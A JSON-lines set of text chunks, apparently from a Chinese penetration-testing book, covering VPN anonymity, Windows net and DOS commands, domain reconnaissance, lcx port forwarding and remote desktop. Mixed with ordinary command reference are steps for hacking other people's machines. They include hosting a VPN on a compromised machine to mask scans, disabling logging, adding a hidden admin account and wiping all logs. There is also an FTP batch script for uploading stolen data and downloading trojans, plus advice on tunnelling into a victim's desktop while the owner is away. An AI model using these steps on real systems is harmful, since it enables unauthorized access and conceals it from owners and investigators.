    {"text": "1.2.1 安装并设置VPN Gate VPN Gate的安装和设置方法如下。 1．下载VPN Gate VPN Gate可以到其官方网站（http://www.vpngate.net/cn/download.aspx）下载，也可以通过百度等进行搜索下载。"},
    {"text": "• http://p12175-ipngn100204sizuokaden.shizuoka.ocn.ne.jp:27298/cn/(Mirror location: Japan) • http://220.73.23.246:30041/cn/(Mirror location: Korea Republic of) • http://175.125.173.194:35021/cn/(Mirror location: Korea Republic of) • http://h176n1-vn-a12.ias.bredband.telia.com:15692/cn/(Mirror location: Sweden) • http://115.88.245.182:32355/cn/(Mirror location: Korea Republic of) 2．安装VPN Gate 将下载的vpngate-client压缩包解压，双击可执行程序进行安装即可，安装过程与普通软件类似，在此不再赘述。 3．使用VPN Gate 打开“SoftEther VPN Client管理器”对话框，如图1-26所示，双击“VPN Gate公共VPN中继服务器”选项，然后在VPN列表中选择一个VPN服务器即可。 图1-26 打开SoftEther VPN Client管理工具 如图1-27所示，随机选择一个IP地址。"},
    {"text": "图1-27 选择VPN服务器 1.2.2 访问vpnbook.com获取VPN密码 vpnbook.com长期提供免费VPN服务，不过密码每天一换，因此需要每天进行更新。 通过VPN Gate获取该网站的VPN密码，如图1-28所示。"},
    {"text": "VPN连接中最重要的一点就是建立VPN服务器。 VPN服务器可以是单独的服务器，很多商业VPN就是租用Windows或者Linux主机，自己创建VPN服务器，然后提供VPN服务的。 还有一种VPN服务器是在被控制服务器上建立VPN服务器，也就是在肉机上建立VPN服务器。 下面介绍如何在Windows 2003 Server操作系统上创建VPN服务器。"},
    {"text": "1．查看VPN的开放情况 依次单击“开始”→“程序”→“管理工具”→“路由和远程访问”选项，打开“路由和远程访问”对话框，在该对话框中可以查看VPN服务器的开启情况。"},
    {"text": "图1-29 查看路由和远程访问配置情况 2．尝试启动路由和远程访问 在“路由和远程访问”配置窗口的服务器状态下，默认显示的是服务器的名称。 选中该服务器，右键单击，在弹出的快捷菜单中选择“配置并启用路由和远程访问”选项，如果已经配置成功，则正常启动，否则会弹出警告信息窗口，提示关闭Windows防火墙后重新进行配置。 3．关闭Windows防火墙 单击“开始”→“程序”→“管理工具”→“服务”选项，打开“服务”窗口，如图1-30所示，找到“Windows Firewall/Internet Connection Sharing（ICS）”服务，将启动类型设置为“禁用”，然后，单击“停止”按钮，将“Windows Firewall/Internet Connection Sharing（ICS）”服务关闭。 图1-30 关闭Windows防火墙 1.3.2 配置VPN服务器 01 配置并启用路由和远程访问 回到“路由和远程访问”窗口，再次单击“配置并启用路由和远程访问”选项，将弹出“路由和远程访问服务器安装向导”窗口，如图1-31所示。"},
    {"text": "如图1-32所示，选择启用“VPN访问”和“NAT和基本防火墙”服务。 图1-32 选择启用的服务 03 完成服务配置 选择启用的服务后，根据向导完成配置。 单击“完成”按钮，系统开始自动启动服务，这时需要选择是否开始服务，如图1-33所示，单击“是”按钮开始启动服务。 图1-33 完成服务配置 如果配置没有问题，则会出现“正在启动路由和远程访问”窗口，显示服务成功配置，如图1-34所示。 图1-34 成功启动路由和远程访问 04 配置“NAT／基本防火墙” 在“路由和远程访问”窗口中选择“NAT/基本防火墙”选项，然后单击右键，在弹出的快捷菜单中选择“新增接口”选项，如图1-35所示。"},
    {"text": "如图1-36所示，在“网络地址转换（NAT）的新接口”窗口中选择“本地连接”选项。 图1-36 选择接口 注意 在实际配置中，其接口列表中可能有1个或多个本地连接，这时需要查看本地连接的实际属性，即本地连接配置的IP地址必须是互联网独立IP地址，否则配置将会失败。 06 在公用接口上启用NAT 选中VPN服务器名称，然后单击右键，在弹出的快捷菜单中选择“属性”选项，如图1-37所示，将打开“网络地址转换-本地连接属性”窗口，在“接口类型”设置区单击选中“公用接口上启用NAT”单选按钮，同时在其下方勾选“在此接口上启用NAT”复选框，如果需要配置防火墙，则需要勾选“在此接口上启用基本防火墙”复选框。 图1-37 选择接口类型 07 启用远程访问和路由 选中VPN服务器名称，然后单击右键，在弹出的快捷菜单中选择“属性”选项，如图1-38所示，打开本地属性窗口，勾选“路由器”复选框，单击选中“仅用于局域网（LAN）路由选择”单选按钮，同时勾选“远程访问服务器”复选框。"},
    {"text": "如图1-39所示，打开“日志”标签页，单击选中“不记录任何事件”单选按钮，如果是个人或者本单位使用，则可以选中“记录所有事件”单选按钮，以便进行审计。"},
    {"text": "日志配置完成后，如图1-40所示，单击“是”按钮重启路由器。 图1-39 配置日志 图1-40 重启路由器 09 授权用户远程访问 通过上面的步骤，VPN服务器就建立成功了，但还需要对用户进行授权。 如图1-41所示，右键单击“我的电脑”图标，在弹出的快捷菜单中选择“管理”选项，然后依次选择“本地用户和组”→“用户”选项，选择“test”用户，打开“test属性”窗口，切换到“拨入”选项卡，在“远程访问权限（拨入或VPN）”设置区中单击选中“允许访问”单选按钮，最后单击“应用”按钮，使“test”用户具有远程访问权限。"},
    {"text": "1.3.3 VPN连接测试 按照1.1节介绍的方法，在Windows XP中创建一个VPN连接，VPN服务器的地址为创建时服务器的IP地址。 双击桌面上的VPN连接快捷图标，会出现如图1-42所示的连接窗口，输入用户名和密码后，单击“连接”按钮，开始连接VPN服务器。 图1-42 连接VPN服务器 技巧 在连接VPN服务器时，可勾选“为下面用户保存用户名和密码”复选框，这样就不用在每次进行VPN连接时都输入用户名和密码了。 1.3.4 查看出口IP地址 连接成功后，打开“www.ip138.com”网站，查看本机的出口IP地址。 如图1-43所示，显示的IP地址即为VPN服务器的IP地址。 这样，在进行扫描等操作时，留在对方服务器上的IP地址就是VPN服务器的IP地址，即为肉机的IP地址。"},
    {"text": "（1）应尽量使用低权限用户，如Guest、SQLDebugger、Aspnet、HelpAssistant、SUPPORT_388945a0、IUSR_2B30A031FC654、IWAM_2B30A031FC654及系统默认的普通用户。"},
    {"text": "因此，了解和熟悉常见的DOS基本命令就非常重要。 根据笔者的个人经验和网上的相关资料，本节选择了一些具有代表性和实用的DOS命令进行讲解。 1.4.1 常见DOS基本命令 下面介绍常见的DOS基本命令。"},
    {"text": "1．Net命令 Net命令是Windows操作系统中一个最重要的命令，它可以管理网络环境、服务、用户、登录等本地信息。 在Windows 98、Windows NT、Windows 2000、Windows 2003、Windows Vista系列操作系统中都内置了Net命令，但Windows 98中的Net命令与Windows NT中的Net命令有所不同，后期操作系统中的Net命令的基本功能都相同。 Net命令一般在DOS提示符下运行。 说明 （1）在DOS命令提示符下输入“Net/?”、“Net”及“Net help”命令，可以获取帮助信息。 相应的方法的帮助命令为“Net COMMAND/HELP”、“Net HELP COMMAND”、“Net COMMAND/?”。"},
    {"text": "“Net VIEW”命令用于显示域列表、计算机列表或指定计算机的共享资源列表，格式如下。 net view [computername | /domain[:domainname]] • 输入不带参数的“net view”命令，将显示当前域的计算机列表。"},
    {"text": "“Net USER”命令用于添加或更改用户账号或显示用户账号信息。 该命令也可以写为“net users”，格式如下。 net user [username [password | *] [options]] [/domain] • 输入不带参数的“net user”命令，可以查看计算机上用所有户的账号列表。 • “username”用于添加、删除、更改或查看用户的账号名。 • “password”用于为用户账号分配或更改密码。"},
    {"text": "“Net USER”命令一般配合“Net Localgroup”命令使用，用于添加用户，以及提升用户到管理员组中。 “Net Localgroup”命令格式如下。 net localgroup groupname {/add [/comment:\"text \"] | /delete} [/domain] • 输入不带参数的“net localgroup”命令，可显示服务器名称和计算机的本地组名称。 • “groupname”表示需要添加、扩充或删除的本地组名称。"},
    {"text": "• “name[...]”中列出了要添加到本地组或从本地组中删除的1个或多个用户名或组名。 • “/add”用于将全局组名或用户名添加到本地组中。 • “/delete”用于从本地组中删除组名或用户名。"},
    {"text": "将名称为“test”、密码为“12345678”的用户添加到管理员中的完整批命令如下。 net user net user test 12345678 /add net localgroup Administators test /add net localgroup Administrator 该批命令首先查看系统中的用户，然后添加“test”用户，并将“test”用户添加到管理员组中，最后查看“test”用户是否已被成功地添加到管理员组中。"},
    {"text": "“Net USE”命令用于查看连接的计算机，断开计算机与共享资源的连接，或者显示计算机的连接信息，命令格式如下。 net use [devicename | *] [computernamesharename[volume]] [password | *]] [/user:[domainname]username] [[/delete] | [/persistent:{yes | no}]] • 输入不带参数的“net use”命令，可列出网络连接。"},
    {"text": "• “devicename”用于指定要连接的资源名称或要断开的设备名称。 • “computernamesharename”表示服务器及共享资源的名称。 • “password”表示访问共享资源的密码。"},
    {"text": "• “/user”用于指定进行连接的另外一个用户。 • “domainname”用于指定另一个域。 • “username”用于指定登录的用户名。 • “/home”用于将用户连接到其宿主目录。"},
    {"text": "“Net TIME”命令用于查看系统时间，使计算机的时钟与另一台计算机或域的时钟同步，命令格式如下。 net time [computername | /domain[:name]] [/set] • “computername”表示要检查或同步的服务器名。 • “/domain[:name]”用于指定要与其时间同步的域。 • “/set”用于使本计算机时钟与指定计算机或域的时钟同步。"},
    {"text": "例如，运行、暂停、继续运行和停止计算机浏览器服务（Computer Browser）的命令为“net start \"Computer Browser\"、net pause \"Computer Browser\"”、“net Continue\"Computer Browser\"”和“net stop \"Computer Browser\"”。"},
    {"text": "“Net Statistics”命令用于显示本地工作站或服务器服务的统计记录，命令格式如下。 net statistics [workstation | server] • 输入不带参数的“net statistics”命令，将列出其统计信息可用的运行服务。"},
    {"text": "“Net Share”命令用于创建、删除或显示共享资源，命令格式如下。 net share sharename=drive:path [/users:number | /unlimited] [/remark:\"text\"] • 输入不带参数的“net share”命令，将显示本地计算机上所有共享资源的信息。 • “sharename”表示共享资源的网络名称。"},
    {"text": "“Net Session”命令用于列出或断开本地计算机和与之连接的客户端的会话，也可以写为“net sessions”或“net sess”，命令格式如下。 net session [computername] [/delete] • 输入不带参数的“net session”命令，将显示所有与本地计算机的会话的信息。"},
    {"text": "• “computername”用于标识要列出或断开会话的计算机。 • “/delete”用于结束与“computername”计算机的会话，并关闭本次会话期间计算机的所有进程。"},
    {"text": "“Net Send”命令用于向网络中的其他用户、计算机或通信名发送消息，命令格式如下。 net send {name | * | /domain[:name] | /users} message • “name”表示要接收发送消息的用户名、计算机名或通信名。"},
    {"text": "• “＊”表示将消息发送到组中的所有名称处。 • “/domain[:name]”表示将消息发送到计算机域中的所有名称处。 • “/users”表示将消息发送到与服务器连接的所有用户处。 • “message”表示作为消息发送的文本。"},
    {"text": "“Net Print”命令用于显示或控制打印作业及打印队列，命令格式如下。 net print [computername ] job# [/hold | /release | /delete] • “computername”表示共享打印机队列的计算机名。"},
    {"text": "2．Ipconfig命令 “Ipconfig”和“Ipconfig/all”命令用于查看网络的配置情况。 直接在DOS命令提示符下输入“Ipconfig/all”命令，如图1-44所示，可以获取IP地址、网卡地址、网关、计算机名称、DNS服务器等信息。"},
    {"text": "图1-44 查看网络配置情况 3．文件目录操作命令 在DOS命令提示符下对目录的操作命令主要有md、rd、cd、tree、dir等，这些命令还可以配合type等命令来查看目录下的文件。"},
    {"text": "• “CD”命令主要用于进入指定目录，格式为“CD[路径］”，不带路径则表示显示当前路径。 例如，“CD c:\\windows\\system32\\”表示进入“c:\\windows\\system32\\”目录。 “CD”命令只能用于进入当前盘符中的目录，其中“CD\\”表示回到根目录，“CD..”表示回到上一级目录。"},
    {"text": "• “TREE”命令主要用于以图形的形式显示驱动器或路径的文件夹结构，格式为“TREE[drive:] [path] [/F] [/A]”，“/F”表示显示每个文件夹中文件的名称，“/A”表示使用ASCII字符而不使用扩展字符。 在很多网站或者图书中，其文件经常会显示为树型结构，就是通过“TREE”命令实现的。 如图1-45所示，可以使用“tree/F>filename.txt”命令显示当前目录下的所有子目录和文件名，并将显示的结构打印到filename.txt文件中，打开filename.txt文件即可看到其树型目录的结构。 图1-45 使用树型结构显示文件目录和文件 • “DIR”命令主要用于显示磁盘目录的内容，常用格式为“DIR［盘符][路径] [/P] [/W] [/O] [/A]”。"},
    {"text": "“/P”表示分屏显示，屏幕上一次显示23行文件信息，然后暂停，并提示“请按任意键继续”； “/W”表示只显示文件名，不显示文件大小及建立的日期和时间，使用后每行可以显示5个文件名；"},
    {"text": "4．文件操作命令 在网络攻防过程中，有些情况下，由于不能获得其图形界面，只能得到一个DOSShell或者WebShell，这时对文件的操作只能通过DOS命令来进行。 对文件的操作主要有复制、删除、改名及显示文件命令等。 • “COPY”命令主要用于复制文件，格式为“COPY[源目录或文件] ［目的目录或文件］”。 例如，“COPY C:\\*.doc D:\\\"”命令表示将C盘根目录下的DOC文件全部复制到D盘。 使用该命令进行文件复制时，目的目录一定要存在。 • “DEL”命令主要用于删除文件，格式为“DEL[盘符] ［路径] [文件名][参数］”。 例如，强制并以安静模式删除系统目录下的所有日志文件的命令为“DEL C:\\*.log/s/f/q”。"},
    {"text": "“/s”表示递归删除； “/f”表示强制删除； “/q”表示以安全模式删除，删除时没有提示； “/p”表示用户在删除多个文件时，对每个文件都显示是否删除的询问。"},
    {"text": "• “REN”命令主要用于对文件进行改名操作，格式为“REN[原名] [现名]”，DOS 7.0及以后的版本都支持对文件名和目录名的修改，而以前版本的DOS只能修改文件名。"},
    {"text": "• “TYPE”命令用于显示文本文件，格式为“TYPE[文件名］”，只能以文本方式查看。 • “Attrib”命令主要用于设置文件属性，通过该命令可以对文件进行属性的查看和更改，格式为“ATTRIB[路径] [文件名] [参数］”，如果不加参数则为显示文件属性。"},
    {"text": "• “XCOPY”命令主要用于复制文件。 该命令是“COPY”命令的加强版，能够对多个子目录进行复制。 该命令的参数比较多：最常用的是“/S”，可以对一个目录下的多个子目录进行复制；"},
    {"text": "• “chkdsk”命令用于检查磁盘的使用情况，其格式为“chkdsk磁盘名”。 例如，要检查C盘的使用情况，就输入“chkdsk C:”。 如果直接输入“chkdsk”，将检查当前磁盘的使用情况。"},
    {"text": "• “time”命令用于显示和设置DOS的系统时间，其格式为“time [hh[:mm[:ss[.cc]]]”。 • “date”命令用于显示和设置DOS的系统日期，其格式为“date [MM-DD-YY]”。"},
    {"text": "1．ping命令 ping命令是TCP/IP协议中最有用的命令之一，它通过向计算机发送ICM回应报文并监听回应报文的返回，校验与远程计算机或者本地计算机的连接。"},
    {"text": "ping命令的格式为“Usage: ping[-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS] [-r count] [-s count] [[-j host-list] [-k host-list]] [-w timeout] destination-list”，其参数的含义如下。"},
    {"text": "该命令在进行安全检查时非常有用，格式为“nbtstat [-a remotename] [-A IP address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]”。"},
    {"text": "• “-a remotename”用于显示远程计算机的NetBIOS名称表并列出其名称表。 • “-A IP address”用于显示远程IP地址的计算机的NetBIOS名称表。 • “-c”用于显示NetBIOS名称缓存内容、NetBIOS名称表及其解析的各个地址。 • “-n”用于列出本地NetBIOS名称表。"},
    {"text": "• “-S”用于显示客户端和服务器会话，只通过IP地址列出远程计算机。 • “-s”用于显示客户端和服务器会话，并尝试将远程计算机的IP地址转换成使用主机文件的名称。"},
    {"text": "• “-b”用于显示包含于创建每个连接或监听端口的可执行组件，可以查看是哪些组件或者可执行程序打开了哪些端口、是否监听及程序的PID等。"},
    {"text": "• “-p proto”用于显示由“proto”指定的协议的连接。 “proto”可以是TCP、TCPv6、UDP、UDPv6中的任何一个，如果与“-s”一起使用，则显示按协议统计的信息。"},
    {"text": "4．nslookup命令 nslookup命令的功能是查询一台机器的IP地址和其对应的域名，它通常需要一台域名服务器提供域名服务。 如果用户已经设置好域名服务器，就可以用这个命令查看不同主机的IP地址所对应的域名了。 该命令的一般格式为“nslookup [IP地址/域名]”。"},
    {"text": "如果要查询远程机上的用户信息，需要在用户名后面添加“＠主机名”，采用“[用户名＠主机名］”的格式，不过，要查询的网络主机需要运行finger守护进程。"},
    {"text": "• “-s”用于显示用户的注册名、实际姓名、终端名称、写状态、停滞时间、登录时间等。 • “-l”除了可以现实“-s”参数能够显示的信息外，还能显示用户主目录、登录Shell、邮件状态等信息，以及用户主目录下的.plan、.project和.forward文件的内容。"},
    {"text": "6．FTP命令 FTP是“File Transfer Protocol”（文件传输协议）的简称。 FTP命令是Internet用户使用最频繁的命令之一。 FTP命令使用户能在两台联网的计算机之间传输文件，是在互联网上传输文件的最主要的方法。 知道FTP服务器的IP地址、端口、用户名称和密码，即可从服务器上下载或者上传文件。"},
    {"text": "FTP命令的功能非常强大，因此，掌握一些常用的FTP命令对于顺利进行网络攻防而言，是非常有必要的。 FTP的命令行格式为“FTP [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-w:windowsize] [-A] [host]”，其参数含义如下。"},
    {"text": "7．telnet命令 Telnet用于Internet的远程登录，它可以使已上网的计算机通过网络连接另一台计算机已上网的计算机，实现两台计算机的互相连通。 Telnet主要用于远程执行命令，与DOS命令提示符窗口类似，目前的很多木马和远程控制软件都有这项功能，在一些情况下，还可以利用Telnet保留后门。 Telnet服务器端的默认端口为23，其命令格式为“telnet[-a] [-e escape char] [-f log file] [-l user] [-t term] [host [port]]”，各参数的含义如下。"},
    {"text": "AT [\\\\computername] [ [id] [/DELETE] | /DELETE [/YES]] AT[\\\\computername] time [/INTERACTIVE] [ /EVERY:date[,...] | /NEXT:date[,...]] \"command\" • “\\\\computername”用于指定远程计算机。"},
    {"text": "常用的AT命令如下。 • “AT”用于查看自己计算机上的计划作业。 • “AT//ip”用于查看远程计算机上的计划作业。 • “AT//ip时间命令（注意加盘符）”用于在远程计算机上添加一个作业。 • “AT//ip计划作业ID/delete”用于删除远程计算机上的一个计划作业。 • “AT//ip all/delete”用于删除远程计算机上的全部计划作业。"},
    {"text": "在“[operating systems]”中，会显示类似“multi(0)disk(0)rdisk(0)partition(1)\\Windows = \"Microsoft Windows XP Professional\"/fastdetect”的字样，其中表明了具体的操作系统类型。"},
    {"text": "如果存在多个操作系统，则在获得Shell的情况下可以提升权限。 在后面会介绍一个通过扫描SQL Hello漏洞得到Shell，并通过复制多操作系统的可执行文件提升权限的案例。"},
    {"text": "2．使用批命令上传和下载文件 很多蠕虫病毒就是利用批处理命令进行文件的上传和下载，将获取的口令、邮件地址等上传到服务器，将木马程序等下载到本地。"},
    {"text": "图1-46 执行上传和下载文件的批处理命令 echo open 192.168.1.19>b echo test>>b echo test>>b echo bin>>b echo get rar.exe>>b echo put ipmon.exe>>b echo bye>>b ftp -s:b del b 1.5 域名查询技术 互联网上使用最多的就是域名。"},
    {"text": "域名（Domain Name）是指企业、政府、非政府组织等机构或个人在域名注册商上注册的名称，是互联网上企业或机构间相互联络的网络地址。 通俗地说，域名就相当于一个家庭的门牌号码，别人通过这个号码可以很容易地找到你。"},
    {"text": "近年来，一些国家纷纷开发出由本民族语言构成的域名，如德语域名、法语域名等。 我国也开始使用中文域名，但可以预计，在相当长的一段时间内，我国以英语为基础的域名（即英文域名）仍然是主流。 2．域名的基本类型 域名主要有国际域名和国内域名两种。"},
    {"text": "国际域名（International Top-level Domain-names，iTDs），也叫国际顶级域名，是使用最早、最广泛的域名。 表示工商企业的.com，表示网络提供商的.net，表示非营利组织的.org等，都是国际顶级域名。 国内域名又称国内顶级域名（National Top-level Domainnames，nTLDs），即按照国家的不同分配不同的后缀，这些域名即为该国的国内顶级域名。 在实际使用和功能上，国际顶级域名与国内顶级域名没有任何区别，都是互联网上具有唯一性的标识。 只是在最终管理机构上，国际顶级域名由美国商业部授权的互联网名称与数字地址分配机构（The Internet Corporation for Assigned Names and Numbers，ICANN）负责注册和管理，而国内顶级域名则由中国互联网络管理中心（China Internet Network Information Center，CNNIC）负责注册和管理。 3．域名的级别 域名可分为不同的级别，包括顶级域名、二级域名等。 顶级域名又分为国家顶级域名和国际顶级域名两类。 目前有200多个国家按照ISO3166国家代码分配顶级域名，如中国是.cn、美国是.us、日本是.jp等。 在国际顶级域名中，常见的如表示工商企业的.com、表示网络提供商的.net、表示非营利组织的.org等。"},
    {"text": "为了加强域名管理，解决域名资源的紧张问题，Internet协会、Internet分址机构及世界知识产权组织（WIPO）等国际组织经过广泛协商，在原来的3个国际通用顶级域名（.com）的基础上，增加了7个国际通用顶级域名，分别是．firm（公司企业）、.store（销售公司或企业）、.web（突出WWW活动的单位）、．arts（突出文化、娱乐活动的单位）、.rec（突出消遣、娱乐活动的单位）、．info（提供信息服务的单位）、.nom（个人），并在世界范围内选择新的注册机构来受理域名注册申请。 二级域名是指顶级域名之下的域名：在国际顶级域名下，表示域名注册人的网上名称，如ibm、yahoo、microsoft等； 在国家顶级域名下，表示注册企业的类别，如.com、.edu、.gov、.net等。 我国在国际互联网络信息中心（Inter NIC）正式注册并运行的顶级域名是.cn，这也是我国的一级域名。 在顶级域名之下，我国的二级域名又分为类别域名和行政区域名两类。 类别域名共6个，分别是用于科研机构的.ac、用于工商金融企业的.com、用于教育机构的.edu、用于政府部门的.gov、用于互联网络信息中心和运行中心的.net、用于非营利组织的.org。"},
    {"text": "1.5.2 域名在渗透中的作用 Web渗透主要通过域名地址进行定位，通过IP地址查询域名注册情况，通过查看域名实际注册情况有选择性地进行渗透。 域名查询有两种方式，一种是通过IP地址反查该IP地址的域名注册情况，另外一种是通过域名查询IP地址。 1.5.3 使用IP866网站查询域名 目前有很多网站提供域名查询服务，通过这些网站可以方便地查看域名注册情况，收集渗透目标的信息。 IP866网站查询国内域名效果较好，但对国外的域名情况的收集就不那么全面了。 01 使用IP866.com网站查询域名 打开网站www.ip866.com，然后在主界面上选择“域名反查”选项，如图1-47所示，在文本输入框中输入需要查询的IP地址或者域名即可。 图1-47 域名反查 02 查看域名反查结果 对www.sina.com.cn进行域名反查，如图1-48所示，可以看到多个查询结果。"},
    {"text": "图1-48 查看域名反查结果 03 查询域名注册信息 在IP866网站中，除了域名反查外，还有很多功能，其中一个域名适用的功能是查询域名注册信息。"},
    {"text": "yougetsignal网站查询国内外网站域名注册效果比较好，推荐使用该网站查询域名注册情况。 yougetsignal网站查询域名的地址为http://www.yougetsignal.com/tools/web-sites-on-web-server/，如图1-50所示，将域名或者IP地址输入“Remote Address”文本框，然后单击“Check”按钮，可以对该IP地址的104个域名一目了然。"},
    {"text": "图1-50 使用yougetsignal网站查询域名注册情况 yougetsignal网站提供了域名注册详细情况的查询。 如图1-51所示，可以查看www.sina.com.cn域名注册的详细情况。"},
    {"text": "图1-51 使用yougetsignal网站查询域名注册 1.5.5 使用Acunetix Web Vulnerability Scanner查询子域名 Acunetix Web Vulnerability Scanner（WVS）是一套综合扫描工具。 运行WVS后，在左侧的工具栏中有一个“Subdomain Scanner”选项，如图1-52所示，在Domain中输入需要查询的域名地址，选择一种查询方法，即可查看该主域名下的相关域名。 使用WVS还可以对这些子域名进行扫描。 图1-52 使用Acunetix Web Vulnerability Scanner扫描子域名 1.5.6 旁注域名查询 旁注域名查询主要是指从侧面展开对目标网站的渗透，即在对主目标网站渗透未果的情况下，通过旁注域名查询对某一个IP地址段进行域名查询，同时对该IP地址段的域名目标进行有选择的渗透，渗透后通过嗅探等手段截获目标网站的密码。 旁注域名查询有两个工具比较好用：一个是陆羽的T00ls旁注查询工具，该工具在查询到结果后，可以对无效域名进行验证，单击查询结果网站可以直接访问目标网站，如图1-53所示，美中不足的是不能保存查询结果； 另一个是网站在线查询，通过输入“xxx.xxx.xxx.%”，即可对某一目标网段的254台主机进行域名查询。 图1-53 T00ls旁注查询工具 1.5.7 使用netcraft网站查询域名 netcraft.com网站提供的域名信息查询功能，使用方法很简单，在浏览器地址后附加网站地址即可，如http://toolbar.netcraft.com/site_report?url=http://www.antian365.com，如图1-54所示，可以获取网站域名、IP地址、DNS、服务器运营商等信息，这些信息在渗透过程中特别有用。 1-54 通过netcraft.com网站在线获取域名等信息 1.6 LCX端口转发实现内网突破 理论上，只要是与网络连接的计算机都是可以互相访问的，但是在实际中，往往由于技术水平等原因很难实现。"},
    {"text": "因此，要想让外网用户访问局域网中的系统服务，就必须进行端口映射等操作。 端口映射在入侵内网时经常使用，特别是要登录远程终端服务时，使用端口映射非常方便。"},
    {"text": "lcx.exe是一个端口转发工具，相当于把A机（肉机）上的3389端口转发到具有外网IP地址的B机上，这样，连接B机的3389端口就相当于连接A机的3389端口。 lcx程序多用于被控制计算机（肉机）处于内网的情况，被控制计算机可能被植入木马程序，虽然能够进行控制，但还是没有使用远程终端登录本机进行管理方便，因此，在很多情况下，都会想方设法在被控制计算机上开启3389端口，然后通过lcx等程序进行端口转发，进而在本地连接到被控制计算机的远程终端并进行管理和使用。"},
    {"text": "1.6.1 确定被控制计算机的IP地址 在被控制计算机上开启远程终端，执行“ipconfig/all”命令查看其网络配置情况，如图1-55所示，该计算机的IP地址为192.168.80.129。 图1-55 确定被控制计算机的IP地址 1.6.2 在被控制计算机上执行端口转发命令 在被控制计算机上执行“lcx-slave 218.69.*.* 51 192.168.80.129 3389”，如图1-56所示，执行完毕会给出一些提示，如果显示为“Make a Connection to 218.69.*.*:51”，则表示端口转发正确。"},
    {"text": "第一条命令“lcx-lister 51 3389”在具有外网独立IP地址的计算机上执行，表示在本机上监听51端口，该端口主要用于接受被控制计算机3389端口转发过来的数据。 第二条命令“lcx-slave 218.69.*.* 51 192.168.80.129 3389”表示将本机IP地址为192.168.80.129的3389端口转发到远程地址为218.69.*.＊的51端口。"},
    {"text": "1.6.3 在本机执行监听命令 在本机打开DOS命令提示符界面，到lcx.exe程序所在路径执行“lcx-lister 51 3389”命令，监听51端口，监听成功后，会显示如图1-57所示的数据。 图1-57 在本机监听51端口 注意 （1）本机监听的端口必须是未使用的端口，可以使用“netstat-an |find \"51\"”命令查看。"},
    {"text": "图1-58 成功建立连接 1.6.4 在本机使用远程终端登录 在DOS提示符下输入“mstsc”命令，打开远程终端连接器，然后输入“127.0.0.1”，单击“连接”按钮进行远程终端连接。 当出现登录界面后，分别收入用户名和密码，验证通过后，即可远程进入被控制计算机的桌面。 如图1-59所示，输入“ipconfig/all”及“net user”命令可以查看网络配置情况及用户信息。 图1-59 远程登录被控制计算机 注意 （1）如果被控制计算机是服务器，则可以直接进行登录； 如果被控制计算机使用的是Windows XP操作系统，则最好选择用户不在计算机旁的时间登录，否则容易被用户发现。 （2）不要轻易在被控计算机上建立账号，尤其是使用Windows XP的计算机，因为建立账号后会立即在登录界面中显示。 1.6.5 查看本地连接 在被控计算机上使用“netstat-an”命令查看当前的所有连接，可以看到被控计算机是在与其自身进行远程终端连接，如图1-60所示，而实际的3389端口是与本机的51端口进行连接。 图1-60 查看实际网络连接 通过使用lcx端口转发程序，我们成功地在本机连入被控制计算机的内网，进而可以方便地对该计算机进行远程管理，这在进行内网渗透时尤为有用。 lcx有两个命令：一个是在本地端执行的“lcx-listen 51 2008”命令，另一个是在肉机上执行的“lcx-slave监听端口的IP地址监听端口肉机或被控制端内网IP地址3389”命令（默认端口是3389，如果修改了3389端口，则将3389端口换成其修改后的端口即可）。 1.7 远程终端的安装与使用 Windows XP/2000/2003 Server中的Windows Terminal Services（WTS），又称远程终端服务（Remote Terminal Services），俗称3389，是在Windows NT中最先使用的一种终端，在Windows 2000 Professional版本中不可以安装，在Windows 2000 Server或以上版本中才可以安装这个服务，其默认服务端口为3389，在Windows XP系统中称为远程桌面（Remote Desktop）。"},
    {"text": "远程终端服务是Windows 2000 Server中的一项重要服务，主要通过远程桌面连接对服务器进行管理或者运行应用程序，其功能类似于远程管理软件。 由于远程终端服务使用简单、方便，不产生交互式登录，而且可以在后台操作，因此在各行各业都有大量的应用，深受用户喜爱。"},
    {"text": "正是由于远程终端服务在Windows Server 2000及Windows 2003 Server中的开启非常简单和方便，一般情况下不需要重新安装，只需要运行几行DOS命令即可开启，且使用终端不受IP地址的限制，只要拥有用户账号及其对应的用户口令就可以正常登录，因此，对Windows XP/2000/2003 Server来讲，远程使用终端服务开启了方便之门，也开启了网络安全的安全隐患之门。 而且，目前有针对Windows XP/2000/2003 Server及以上版本的远程终端服务攻击软件，一旦攻击成功，将给运行重要程序的服务器带来不可估量的经济损失。"},
    {"text": "01 查看“Terminal Services”是否开启。 可以通过服务器中的“服务管理”或DOS命令“net start”查看。 如果在服务管理器中，“Terminal Services”的状态为“启动”，则表示“Terminal Services”开启成功。 如果在DOS环境下运行“net start”命令，在结果中出现了“Terminal Services”，则表示开启了远程终端服务。 02 启动Windows Terminal Services服务。"},
    {"text": "1.7.2 Windows XP开启远程终端 Windows XP开启3389端口分为两种情况，一种是管理员为了方便自己，另一种是入侵者获取权限后非法开启3389端口，下面分别进行介绍。"},
    {"text": "01 Windows XP用户开启3389端口 单击“我的电脑”→“属性”→“远程”选项，如图1-61所示，勾选“允许从这台计算机发送远程协助邀请”复选框。 图1-61 开启远程协助 02 查看远程终端端口开放情况 单击“开始”→“运行”选项，输入“cmd”，打开命令提示符窗口，在其中输入“netstat-an| find\"3389\"”。 如果远程终端开启成功，就会显示默认的3389端口正在监听，如图1-62所示。 图1-62 查看远程终端端口监听状态 03 测试连接远程终端 单击“开始”→“运行”选项，输入“mstsc.exe”，打开远程桌面连接客户端，在计算机中输入本机IP地址，接着会出现一个错误提示窗口，如图1-63所示。 不要紧张，在Windows XP操作系统中，本机不能自己连接自己的3389端口，但在Windows 2003中就可以连接。 这时可以换用虚拟机进行连接，在虚拟机中输入本机的IP地址。 图1-63 远程终端连接错误提示 说明 （1）通过虚拟机进行远程终端连接时必须保证网络是连通的，即本机与客户机（虚拟机）是连通的。 （2）本机防火墙要设置为允许3389端口通过，具体如下。 ①单击“开始”→“控制面板”→“Windows防火墙”选项，打开如图1-64所示的对话框。"},
    {"text": "该界面是Windows防火墙的图形操作界面，默认情况下Windows XP开启了防火墙，而且允许有例外（很多程序会自动修改以允许其通过）。 图1-64 Windows XP自带的防火墙 ②在“Windows防火墙”窗口中单击“例外”标签，如图1-65所示，该列表中有两种情况，一种是允许通过的程序或服务，另一种是不允许通过的程序或服务。"},
